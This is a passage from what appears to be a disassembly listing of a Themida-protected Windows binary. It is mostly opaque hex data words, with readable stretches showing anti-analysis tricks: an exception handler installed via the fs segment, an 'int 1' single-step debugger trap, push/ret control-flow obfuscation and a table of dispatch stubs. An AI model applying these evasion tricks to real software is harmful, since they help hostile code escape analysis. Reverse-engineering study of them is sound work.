3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 39FC54C3h, 52A0A2A4h, 83F93FA3h dd 120D99BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 42C35242h, 4120E95Ch, 217E9C3h dd 0F500000h, 686h, 0A7EA8100h, 5E6EE71Ch, 8166DF8Ch, 667076D2h dd 4C7F7h, 1F7850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DF0735C3h, 0D3B70F1Dh dd 53DBD83h, 0F000612h, 4785h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 492DC609h dd 0A2E9F2D1h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0CDF3C353h, 9F6A0612h dd 0BA66FF2Bh, 9D8D2363h, 6154246h, 28DA8166h, 0D68B937Eh dd 5517BA50h, 6A930596h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 8731C351h, 21F2A4C9h dd 35FF64A8h, 0 ; --------------------------------------------------------------------------- mov si, 0EFBAh mov large fs:0, esp jmp loc_57AB68 ; --------------------------------------------------------------------------- dd 0D0C1FC3Ch, 8F00A32Dh, 0FB89BCDDh, 312C7C52h ; --------------------------------------------------------------------------- loc_57AB68: ; CODE XREF: Themida_:0057AB53j mov eax, esp pusha js $+6 push esi mov al, dh pop ecx popa int 1 ; - internal hardware - SINGLE-STEP ; generated at end of each machine instruction if TF bit in FLAGS is set jmp short $+2 push 0 push ebp call sub_57AB85 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57AB85 proc near ; CODE XREF: Themida_:0057AB7Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57AB85 endp ; --------------------------------------------------------------------------- daa jmp loc_57ABA8 ; --------------------------------------------------------------------------- db 4Ch dd 20E9FD1h, 0E52673F0h, 4E622A70h ; --------------------------------------------------------------------------- loc_57ABA8: ; CODE XREF: Themida_:0057AB96j push 0 push edi call sub_57ABB3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57ABB3 proc near ; CODE XREF: Themida_:0057ABABp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_57ABB3 endp ; --------------------------------------------------------------------------- db 0A4h dd 9DA11F41h, 666073B5h, 6691CFBBh, 6461C88Bh, 58Fh, 0AE80000h dd 7A000000h, 0AB380206h, 2BA43070h, 0F1F8BE9Eh, 835E0733h dd 0F96004C4h, 9E9h, 0DB339A00h, 5D5E71F3h, 0B61AF64h dd 7A840FC0h, 0E9000000h, 11h, 43140062h, 12C8CB34h, 0C3FB4873h dd 2034BA42h, 8B5061A2h, 0BD8D5AF0h, 6127277h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 10C35545h, 0CDB944CBh dd 1B8F0h, 0BF0F0000h, 66E7FFF1h, 0EABE981h, 245C8B57h dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h dd 0B883h, 335F0200h, 0D280C3C0h, 0B588B236h, 5E961E8h dd 0E5000000h, 0FB83510Ah, 0BD83C08Bh, 6121B91h, 83097500h dd 1217DDBDh, 19740006h, 0C08B5350h, 40EB8h, 95858900h dd 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h, 61217h dd 53501774h, 40EB8h, 95858900h, 8D061222h, 14AB179Dh dd 5BD3FF06h, 9CEA8058h, 4830Fh, 0B9660000h, 0FF92C9Bh dd 289h, 8B66B500h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5CF0E5A6h, 0C840Fh, 870F0000h dd 6, 830Fh, 0C28B0000h, 10E8h, 74792500h, 5CD6C10h, 0B35FDB0Fh dd 0ECBB9ADCh, 605AFC98h, 49E98166h, 5AC7BEA6h, 816152A6h dd 6BBEC2h, 8EBB6600h, 1AC5B8F8h, 97BB0000h, 8B187641h dd 0D8BF0F32h, 37FCF681h, 10E929FCh, 0B3000000h, 0EEDAD0D8h dd 0C700ABE8h, 0B0133577h, 81CC6673h, 809E33C6h, 0CEBF0F5Eh dd 0E715EE81h, 89F50A62h, 54C18132h, 8336A54Eh, 4AF903EAh dd 0BBDF7FBBh, 1E88372h, 16850Fh, 0EF810000h, 59E5D926h dd 26E9h, 74AA0500h, 21DFBB4Bh, 0B84EFC13h, 0E9AACB80h dd 0FFFFFF97h, 0A239D258h, 649DB663h, 0AB4C9AEFh, 1FF8F334h dd 0EB6CDA9Eh, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0AD858B24h dd 8D061207h, 1572D185h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 1543CB8Dh, 3DBD8306h, 61205h, 0F840Fh, 6A600000h dd 0CD95FF00h, 61061219h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 43C78589h, 0B58B0615h, 61543CBh dd 6610CEC1h, 8B027289h, 1543CBB5h, 72896606h, 858B61FCh dd 61543C7h, 0E1958DC3h, 89061226h, 12241195h, 0A5958906h dd 0FF061203h, 1203A585h, 7185C606h, 53061228h, 0B148D868h dd 0B1B5FFFCh, 8D061203h, 123B5D85h, 89D0FF06h, 1219CD85h dd 0F9858D06h, 8906153Bh, 1214A585h, 20EB06h, 7 dup(0) dd 0E9000000h, 55Eh, 552E9h, 46216800h, 36E90615h, 68FFFD3Bh dd 61546BFh, 0FD3B2CE9h, 48BE68FFh, 22E90615h, 68FFFD3Bh dd 6154924h, 0FD3B18E9h, 9703F6FFh, 0AB1509F9h, 0C3251D0Dh dd 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h, 4232D034h dd 5B4BE949h, 66650361h, 4B6C9405h, 607375FEh, 0B5170F0Eh dd 73561B2h, 946DEFE9h, 7D89E0B4h, 35D0581Dh, 76000000h dd 0E9074774h, 0DED4AA6Fh, 345CCD78h, 3B6FE907h, 70683EDh dd 8360D17Ch, 9269FC42h, 9103A644h, 8A149463h, 8A51BBAFh dd 26h, 0B61E13E9h, 0B7F35DB3h, 0E9074874h, 0CFB2B96Fh dd 1C7275D7h, 8B68D984h, 0FA69FC42h, 380C01B0h, 0DB7318C2h dd 170FE93Dh, 10810AB5h, 6FE907E8h, 5C3FA9F7h, 16F9EC0Bh dd 0E1C17A10h, 1AB81A12h, 0A2998885h, 8AFBA63Eh, 0EFE9165Eh dd 8EF6EBC1h, 453D358Bh, 208AE0E3h, 3AF0F341h, 6137E240h dd 0AE040769h, 3A31C644h, 0BA8BFCA7h, 0D3E9FAF0h, 5318285h dd 1BE9D6EFh, 0AC0C321h, 0BEB7AF13h, 47FE5B5Eh, 4922F867h dd 673E9569h, 6A85520Bh, 0DC000000h, 0A7AA1006h, 6AABE751h dd 0C435E063h, 69FC45CCh, 845A0553h, 4A43198Ah, 0FE91E7EAh dd 75FE4AD6h, 61FF97E5h, 27197771h, 7361B131h, 408E3316h dd 30000003h, 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h dd 1D8A2890h, 0F35B50C2h, 0A6E6555h, 23837C6Ch, 3D9B9585h dd 0CE3FA09Fh, 75FE4DA6h, 2050A2B5h, 30Bh, 0B5170FCEh dd 73561B2h, 4B06FE9h, 7F6FE907h, 6FE90754h, 0C48C43B5h dd 3C3F0BBBh, 0E7EA4C44h, 88B42791h, 0EB6FE9EAh, 27B27079h dd 9C06AC6Dh, 0E96FFD29h, 704C786Fh, 0D9AFAFE9h, 991680E0h dd 0DB640F92h, 0A6A90F05h, 3673E650h, 6729FE68h, 0B0BB1619h dd 0C4158631h, 0E5300F94h, 5EB1A597h, 0A78AB970h, 2A202h dd 6FDBCE00h, 83EDE1D1h, 9BFDF5E5h, 0B1170DFDh, 0C62E2313h dd 0EE5CBB28h, 3F391F9h, 1A0AA80Ch, 3323C121h, 3E3DDB39h dd 4D446CDDh, 384B75FEh, 0B7150FE6h, 51C24BB4h, 6FE90729h dd 0DDDC4037h, 0A5A8258Fh, 78EA731Eh, 7F696C2Ch, 37AA14EDh dd 69FC727Eh, 0B3A3418Fh, 3CAE59BBh, 0AA11D85Ch, 17E3E1AEh dd 0A9A1FC90h, 15187E74h, 3FBD27BFh, 69D1C69Ch, 0CEA61066h dd 978B61D6h, 83729A2Dh, 2B7975FEh, 36359093h, 0C18E00ABh dd 141278CEh, 0DD4ED943h, 7012041Ch, 386F881h, 2BA73AB2h dd 0FC173FD2h, 352D6FE9h, 1C86D4D3h, 0C651EF3Dh, 6FE9FC9Ah dd 0D681000Bh, 0FD37A065h, 0E893E169h, 1CBA1812h, 29D4322Ch dd 0B8072FA0h, 0C81675FEh, 0D3C6A634h, 0F7619E36h, 0E1D5AB14h dd 27BF1D17h, 0F164CE24h, 75FE47B5h, 11BC4746h, 57BBB288h dd 2194FE54h, 70118350h, 8A600B59h, 0A4943290h, 0F8494CAAh dd 6FE90BBCh, 4B433E2Dh, 0F890E6E9h, 0F452C44Dh, 0B44AA59Bh dd 67426AFDh, 0FB496FE9h, 0D4950691h, 0F569FCA2h, 2C5ADBABh dd 773ED234h, 0DF8A228Eh, 0C89E0F09h, 13696CD2h, 0FE525880h dd 81196775h, 415264D6h, 0D912AE07h, 0DD27AE45h, 0CE382A03h dd 8666050h, 20A3AA05h, 43A99F75h, 0F580EA40h, 1230A784h dd 7F744A70h, 80CEAD17h, 0B1002C7Dh, 75386FE9h, 1BD66C03h dd 359FE5F4h, 5C32B494h, 0BA970165h, 0D81DB363h, 15AAh dd 48745000h, 6F6FE91Ch, 10h, 0D8D45CCEh, 53522089h, 4874ADE9h dd 0FA6FE91Dh, 35E0636Ah, 0FC430BC4h, 19C41269h, 4BF71F90h dd 0E95A75FEh, 75FE4BC1h, 2D7B7AC8h, 0A177E0C3h, 0DD4649A7h dd 0FE4B446Ch, 65FD4B75h, 0F48F7EFBh, 0C637C049h, 75FE4B9Eh dd 0A309FFADh, 0B51F130Bh, 708FD84Bh, 509E7010h, 6F8AEE5Eh dd 0B1563979h, 0A3h, 0D06EDACDh, 0E482ECE0h, 0FC9AFCF4h dd 12B0160Ch, 27C52D22h, 0F8ED5FBAh, 0B02F290h, 201909A7h dd 383222C0h, 0DC3D3CDAh, 0FE4F436Bh, 0E5374A75h, 35E0636Ah dd 0FC430BC4h, 98F46669h, 0FED9C554h, 0F745248Eh, 0F9299F4h dd 426ADB64h, 4975FE2Ah, 950691FBh, 701040C8h, 0A1998BD9h dd 6A796FBBh, 3DE287h, 40330000h, 524636D4h, 625A4AE8h dd 7C726200h, 93887816h, 0C1208D2Bh, 58F65E53h, 6F0D7168h dd 8826867Fh, 0A2409E98h, 0A9D142A3h, 0B075FE50h, 865C4B9Dh dd 0F7BE2892h, 3, 0F5995A5h, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h dd 4D0B0E78h, 5EDB68h, 242C8900h, 33D768h, 242C8900h, 723E68h dd 24048900h, 48896856h, 0F75E6C4Ah, 0B4EE81D6h, 8154C133h dd 4952CFCEh, 18C68164h, 89871771h, 24348BF5h, 5404C483h dd 8124048Bh, 4C4h, 0E9895100h, 24048151h, 3EB316DAh, 8108408Fh dd 16DA0868h, 0FF593EB3h, 81582434h, 4C4h, 242C8B00h, 81E38953h dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFD35F9h, 6134E13Dh dd 630B7343h, 0B8DC04A9h, 6154986h, 0C88BC503h, 54E900EBh dd 0E9000006h, 648h, 154AEC68h, 35CFE906h, 4568FFFDh, 0E906154Ch dd 0FFFD35C5h, 154CD068h, 35BBE906h, 0CE68FFFDh, 0E906154Dh dd 0FFFD35B1h, 154F1268h, 35A7E906h, 7467FFFDh, 867A6A08h dd 968E7E1Ch, 0B0A69634h, 0C7BCAC4Ah, 0F554C15Fh, 8C2A9287h dd 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh, 0DD0576D7h, 0EC75FE51h dd 487487D9h, 0C36FE907h, 6FE9079Bh, 0E907E30Eh, 7325E6Fh dd 80AD6FE9h, 0FD6FE907h, 0EFE907D1h, 0DB84B42h, 0FB0A6F9Ch dd 85307EE9h, 0B856B6AFh, 0C46FCFC8h, 9396F4EEh, 0EB4D453Dh dd 48439E81h, 4C9D0EB9h, 0B1F00D12h, 4A0B1D3Fh, 0D94AC628h dd 0EFE96AB1h, 68D26AB8h, 28493B89h, 0D1F97697h, 4C449EEh dd 8FB0000h, 1A0EFE9Ch, 2A2212B0h, 443A2AC8h, 5B5040DEh dd 89E855F3h, 20BE261Bh, 37D53930h, 50EE4E47h, 6A086660h dd 71990A6Bh, 7875FE51h, 150F1365h, 12830CB7h, 6FE907EAh dd 989B03F8h, 8BF54342h, 72A57A8h, 0BE476FE9h, 79CC435h dd 55A36FE9h, 9B6A4AEBh, 0B5A543A1h, 0A107FDBBh, 0ADB0489Eh dd 9C9FFDF7h, 1207DD80h, 0E751A7AAh, 9D976646h, 55ACA13Fh dd 4AD81D7Bh, 13168074h, 251A53BDh, 71000004h, 0D53FA59Bh dd 0BB150F99h, 9264169h, 81E5DCB3h, 0FC90287Eh, 0AC2C9A7Dh dd 4245DD36h, 0E9F3C4F1h, 0D3A9146Fh, 1C7275DFh, 0C1598488h dd 2D97C1ECh, 542AAC8Ch, 0B58DF75Fh, 0C0BF5DBBh, 3D65D65Fh dd 4C6FE923h, 980994FEh, 6FE92370h, 0B086317Fh, 9EC56B8h dd 72D0CAA0h, 77373008h, 0C41A1D7Fh, 7174D2CCh, 42E5831Bh dd 8014726Ch, 3BD77FA2h, 2A026CCFh, 157D7230h, 7924BC12h dd 0DE48ACA3h, 262092FBh, 57C353C7h, 0BE198F78h, 0F08821DDh dd 7C0D0986h, 96F4EEDEh, 82E6DD93h, 0FB2D59E4h, 1E906FE9h dd 5D9693E7h, 5C84F539h, 636FE9EBh, 3B137D15h, 74DDE044h dd 0DC46A49Eh, 2AD56C5Fh, 0FBE74CB9h, 9D8FDD69h, 736419CAh dd 6B93381Bh, 54000003h, 6757F561h, 7B6B0973h, 93832183h dd 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h, 47A7A090h dd 61BFB9A9h, 0F263C4C3h, 75FE53CAh, 0F6CBED1h, 4BB4B715h dd 97087D75h, 6FE9076Fh, 2E98307Eh, 0FBFE5C56h, 3FEA4E45h dd 0A0D7369h, 41CC4AB4h, 6FE906D5h, 0E917A4D0h, 5FC3BA6Fh dd 17DF0B5Ch, 5D506FE9h, 770B6F66h, 7FA0F7EBh dd 0E7922ACFh, 0FB27C976h, 62562C69h, 359FF5F8h, 0CF160856h dd 8A7364F9h, 2E002A7h, 0ECDF0000h, 0FEF2E280h, 0E06F694h dd 281E0EACh, 3F3424C2h, 6DCC39D7h, 4A20AFFh, 1BB91D14h dd 34D2322Bh, 4EEC4A44h, 557DEE4Fh, 6475FE53h, 150FFF51h dd 12830CB7h, 6FE907EAh, 5639A3F1h, 4548A6A0h, 3134988Fh dd 1C1F857Bh, 70DACEC6h, 5CC0B76Dh, 86FF0359h, 83973BA6h dd 0B88F8DC4h, 2909C220h, 5702605Ah, 7C278981h, 0E9B1E30Bh dd 329CEA6Fh, 2468BFB4h, 49AFD81Eh, 55000002h, 0E9074874h dd 9655E6Fh, 736B3598h, 24B80E11h, 0CD655334h, 0E6463F2Fh dd 0D4342DE3h, 0BE261BD1h, 0A71105BBh, 8969E2A4h, 0A719BC1Ah dd 6E67B99Ch, 21B50B0Eh, 42AC7B87h, 693FC1A1h, 17E91371h dd 0F3E6A96h, 0B41E7477h, 0E583E3DCh, 0EAE3B942h, 0EACFF78Ah dd 30DE6FE9h, 7FD5D836h, 49A07DE7h, 90D81E5Eh, 48h, 0E0636A36h dd 32F3C435h, 0EC3A69FBh, 64C6E1FAh, 0DC816473h, 1E2h dd 0E07EEADDh, 0F492FCF0h, 0CAA0C04h, 22C0261Ch, 37D53D32h dd 8FD6FCAh, 1B1202A0h, 302919B7h, 484232D0h, 0EC4D4CEAh dd 0FE54537Bh, 0F5475A75h, 8D169F00h, 5A5DBFB7h, 7497104h dd 2506FE9h, 6F52598h, 0B3146FE9h, 0E9071A42h, 3BD3216Fh dd 0FFC3BA90h, 0A0DA507h, 0B1674AB4h, 0CABA58B8h, 350176D0h dd 8F63E638h, 0AE4B73E4h, 4526FE9h, 100E696Ch, 0AED5FD6Eh dd 96E46FE9h, 777060FEh, 8F897917h, 81782E31h, 1F807F1Dh dd 0E9AE86AEh, 4447956Fh, 9634968Eh, 1B150401h, 0B92225BDh dd 9088ECE3h, 0F5CD3797h, 5AFD9BFDh, 3FE9F6E8h, 89DFE24Ah dd 546027F5h, 95FF675Ch, 0E9C5F622h, 5FD0596Fh, 6FE9C537h dd 3CA29846h, 0CEBD3AA4h, 0DA178833h, 0EB69FBCBh, 281CF29Dh dd 7EEF685Eh, 75FBBB56h, 0E77F1765h, 872663Ch, 0C745AF05h dd 0F4564E24h, 54BEB28Ah, 42A29B51h, 0CE92893Fh, 59CA75D5h dd 75FBBB31h, 4F52EA38h, 9D0F74E6h, 511D243Eh, 0B5170FE7h dd 0BA5457B2h, 0FBC72149h, 828E9375h, 340907BDh, 2B918735h dd 0A23AD228h, 0EF7586F7h, 4694700Dh, 76317554h, 2CD1B479h dd 9Eh, 24C22E21h, 38D64034h, 50EE5048h, 66046A60h, 7B198176h dd 4C41B30Eh, 5F5646E4h, 746D5DFBh, 8C867614h, 3091902Eh dd 0FE5697BFh, 4193A675h, 0B4B7150Fh, 0A3A604FEh, 6CEECE87h dd 0E2EBABFAh, 3AA4E0F1h, 6C0A6862h, 1DB82077h, 4A3F15D8h dd 2D3F78E2h, 96000000h, 0BB2F9B24h, 0E9FC224Ah, 47DB296Fh dd 0B9B31060h, 6A02585Bh, 4774C400h, 5D6FE907h, 0C4670563h dd 9396F4EEh, 0B0CD33Dh, 0BA000000h, 0E9074874h, 6645E6Fh dd 865C1468h, 0D1272A90h, 24BBCB67h, 2, 1C0F80BCh, 0FDF7ADB0h dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh dd 877F3538h, 786C2225h, 684D0B0Eh, 3B4Dh, 68241C89h, 64DAh dd 51241C89h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h dd 4EC8124h, 89000000h, 7768242Ch, 5D45A026h, 23E1C581h dd 0EB89C075h, 148B545Dh, 4C48324h, 24048153h, 6805266Fh dd 5108428Fh, 5266FB9h, 84A2968h, 24148B59h, 81E38953h dd 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 8951241Ch, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 2F9FE95Ch, 131BFFFDh, 3D71501Eh dd 0C985FC60h, 727453CAh, 154FD5B8h, 8BC50306h, 51E9D1h dd 8B600000h, 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h dd 8B660000h, 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h dd 158F0F0Ch, 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh dd 1C247C89h, 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh dd 0BAFFFFFFh, 9FD3Eh, 143E9h, 0BE380600h, 95ECE735h, 715893DAh dd 0B6CFDF06h, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch dd 90ADFC6Ch, 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh dd 0A592A79Bh, 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h dd 47E4B59Bh, 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h dd 97BF999Ch, 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h dd 0C3B5D4h, 622D4457h, 0AE29B0F3h, 3Ch, 44h, 6Ch, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 22h dup(0) ; --------------------------------------------------------------------------- jmp loc_57DB1F ; --------------------------------------------------------------------------- push 615542Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6155526h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61555E7h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61556CCh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615578Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6155870h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615593Ah jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61559F8h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6155D88h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6155E06h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6155F3Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156245h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615654Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615687Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61569F8h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156A5Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156AB7h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156B1Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156CBDh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156DE8h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 6156F84h jmp loc_54EA15 ; --------------------------------------------------------------------------- align 4 dd 1303A10Dh, 2717B51Fh, 3F2FCD2Fh, 5545E349h, 0ED5AF860h dd 0C32B2092h, 0DA3E3525h, 0F3534C3Ch, 0D6B6555h, 9E0F706Fh dd 75FE5976h, 0F207285h, 0FEB4B715h, 72FBA604h, 0E907D901h dd 9A92E06Fh, 57D53FA3h, 3AED42B4h, 317ED89Ch, 0A73BD33Dh dd 0F7043757h, 0BB38A21Eh, 158631B0h, 69FBE158h, 0AF181B69h dd 0C4898B3Dh, 44AE68FBh, 0FBBCA5D1h, 0A81ADD75h, 0DE16C767h dd 0DF5D8F11h, 0A7F77206h, 0B79738A2h, 2FF98CE3h, 3BD3DEh dd 6A790000h, 248A8063h, 6F70E18Ch, 9E69FB11h, 0EE44D50h dd 57ADB01Ah, 1E4E7AEDh, 0C38675FBh, 9FD1E851h, 0B829850Bh dd 75FB6690h, 4FB9519Fh, 0A3FACEAEh, 0EADE2FD9h, 0B8h dd 0B7150F90h, 0A109FEB4h, 90C3359Eh, 0F3D8C7DBh, 359F938Bh dd 9BF9F3CBh, 2AE8E298h, 9634CC36h, 0E931A00Bh, 5CBAB46Fh dd 76D4CEBEh, 8E151873h, 30C972E3h, 82D069FBh, 47B841E4h dd 75FB311Fh, 0F976E02Eh, 53C46FF2h, 700FD324h, 5A30DB29h dd 7C52FD65h, 38B62086h, 739B0C95h, 7A6FEF8Bh, 0F5EAC22Ch dd 0FDDD9B8Dh, 472A796Fh, 1C2BA2h, 0DB473A00h, 0EF594D3Dh dd 7696151h, 1D837969h, 329A8F7Fh, 5AC82794h, 6F5FFD65h dd 86761478h, 9F8F2D8Dh, 0AAA947A5h, 5BB0D849h, 0ACBF75FEh dd 0B21A0F5Ah, 0A19B7114h, 701D943h, 118CFEA9h, 0D041485Bh dd 0B80C8AF4h, 4F3CEA5Ch, 749CA76Dh, 147E1680h, 620D9497h dd 0FB51F0F1h, 0C8CB1969h, 0FB5E4B77h, 0EAC08375h, 84258FF3h dd 0D179D0A4h, 0DCC0DE2Fh, 17000000h, 0E1E44C41h, 0FE5218Bh dd 0FEB4B715h, 0F51D8E09h, 0B6FE907h, 63B1B014h, 0C77C8CBh dd 206FE903h, 0C726826h, 0ECE6D674h, 4C228B8Eh, 0B88F254h dd 65D68100h, 69FB0ABCh, 0C22A1FCDh, 0B3A97F2Ah, 0D065E34Dh dd 8BEFE6DDh, 7C7248F3h, 0B021AC16h, 700FB092h, 0AE842F7Dh dd 10B351B9h, 658DFE87h, 746FEFB5h, 0B56B9326h, 11726FEFh dd 0EFB578A0h, 0A139876Fh, 26A5F37h, 6FD46610h, 0DB29579h dd 1B30h, 38D64235h, 4CEA5448h, 6402645Ch, 7A187E74h, 8F2D958Ah dd 6055C722h, 736A5AF8h, 8881710Fh, 0A09A8A28h, 44A5A442h dd 0FE5CABD3h, 4D9FB275h, 14B21A0Fh, 4F77E871h, 0B26FE907h dd 0E9071941h, 0D3D2206Fh, 49431B85h, 0F0458EFh, 4B438110h dd 96ECEF55h, 0F0C60FEh, 0FEB4B715h, 0B608A604h, 6C575673h dd 0B80E1175h, 7AEC7520h, 0B842C70Bh, 0CD4AF165h, 0C4B969FDh dd 741184EEh, 0A569FB47h, 37ABD344h, 64B275FBh, 564B21CCh dd 2B95EBEEh, 98DEFE51h, 9C8FD979h, 0CE95A05h, 7D249764h dd 0DAD12C2Fh, 0AA2B9C47h, 6326899Ah, 9A946A15h, 0B4AE9E3Ch dd 1C086456h, 0FCDFBEDAh, 1A6F57h, 9703F600h, 0AB1509F9h dd 0C3251D0Dh, 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h dd 4232D034h, 5B4BE949h, 66650361h, 5C6C9405h, 607375FEh dd 0B7150F0Eh, 83F09A0Ch, 0C09393A9h, 340A7356h, 85D7DA3Ch dd 0F4CCBFE3h, 0A30DA5D1h, 0F19C2726h, 0FB372F80h, 85307E69h dd 37638BFCh, 1C6A75FBh, 4BE234B2h, 0D17C0706h, 0D5EC360h dd 32085270h, 0D7A667CFh, 58E39D1h, 8D43DE93h, 982BDC78h dd 6FE90870h, 0EDC7317Fh, 5859F39Ah, 0D2515CA8h, 0F45C5127h dd 476FF8Ah, 0C9080B51h, 9F127C2Dh, 31ACCDC2h, 278285D3h dd 0F1198A24h, 0F8318CD2h, 4DA016AAh, 0BE9189D9h, 890A7B26h dd 0C02B9E82h, 0B53EC772h, 9A861C44h, 6BD52337h, 9D3B9993h dd 0C82E24FAh, 2D056FC5h, 0F7E3D533h, 54B1C502h, 198ACC71h dd 0E8DB0000h, 0FAEEDE7Ch, 0A02F290h, 241A0AA8h, 3B3020BEh dd 69C835D3h, 9E06FBh, 17B51910h, 30CE2E27h, 4AE84640h dd 5179EA4Bh, 5875FE5Dh, 150FF345h, 5259B4B7h, 299B24CFh dd 9EB0ABCh, 0C538A2DCh, 69FB0458h, 5AFD9BE9h, 9A70E3E8h dd 0B41E2C6Bh, 9C8FC27Ah, 4CE95A05h, 11700E28h, 79E3413Bh dd 0FF524C9Ah, 0F3429085h, 0BD68FBF2h, 0ED6A5E34h, 9170547Ch dd 750D5B0Ch, 2B241C72h, 872C8CBh, 0A36EB895h, 787BC906h dd 0F802E1Dh, 0AA371E7h, 37ACF6h, 31BD0466h, 0E5560199h dd 4B59E64h, 23AC57A5h, 91628AB2h, 0D943910Ch, 207E784Eh dd 3A989282h, 0CE278848h, 27CCAFDCh, 18C8h, 0A03EAA9Dh dd 0B452BCB0h, 0CC6ACCC4h, 0E280E6DCh, 0F795FDF2h, 0C8BD2F8Ah dd 0DBD2C260h, 0F0E9D977h, 802F290h, 0AC0D0CAAh, 0FE5E133Bh dd 0B5071A75h, 0CB7150Fh, 0A761EE9Ah, 4EB8118Fh, 352C026Bh dd 0CD78CED1h, 0E9D3345Ch, 83ED3B6Fh, 0D17C0706h, 0FBE2B360h dd 0D674C269h, 198BB484h, 0C83E9F0Dh, 96137D15h, 9B491097h dd 39D40800h, 0FC6DF6A1h, 75FB07D4h, 98238DDBh, 0D2E8A27h dd 332D7B70h, 0ABDACEE0h, 0DFD7AD92h, 3BA6E97Dh, 0A39DF0D5h dd 32B1BC39h, 7E391687h, 0FA48673Dh, 0B7E3DD4Fh, 0A54FF49Ch dd 0EFD583Bh, 9AC7EF60h, 88D66B39h, 53D445F0h, 0FA654BD1h dd 0A27801ACh, 4DC46ACh, 1E0EAC0Ah, 0E3DDB324h, 0AFCAF285h dd 23D16D2Bh, 71C7CA2Ah, 7F4F41D9h, 0AC7C33DAh, 17E624C9h dd 8C7F0000h, 9E928220h, 0AEA69634h, 0C8BEAE4Ch, 0DFD4C462h dd 0D6CD977h, 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh, 0EE8CEAE4h dd 0F51D8EEFh, 475FE5Fh, 150F9FF1h, 754BB4B7h, 0B0191C7Ch dd 0E907173Fh, 40D8266Fh, 0BC5259D6h, 0E907234Bh, 58C92A6Fh dd 6FE90730h, 0C159F13Fh, 0BFB78D16h, 0C045A5Dh, 0D548B214h dd 69FB12C4h, 5AC2B765h, 5BD224C2h, 0C16CF7F6h, 0D42B350h dd 1A146270h, 222DDAC7h, 30DECDFCh, 9A54E3BEh, 0EB7E8ECBh dd 3B159C3h, 8A847CCAh, 78E9942Ch, 0FDC3579Bh, 3E999CEAh dd 9709B44Fh, 7B8933D2h, 33BE2819h, 0D60A41C2h, 0CF7AC8FFh dd 3A1FFF9h, 655B1913h, 0EA6FCFFh, 0AD8BA81Ch, 0E78C6FE5h dd 171Ch, 4CEA5649h, 60FE685Ch, 78167870h, 8E2C9288h, 0A341A99Eh dd 7469DB36h, 877E6E0Ch, 9C958523h, 0B4AE9E3Ch, 58B9B856h dd 0FE60BFE7h, 69BBCE75h, 0B4B7150Fh, 4BBC5259h, 6FE90723h dd 0D6D93731h, 0AF208180h, 6FE90787h, 18B04896h, 585EFC6Dh dd 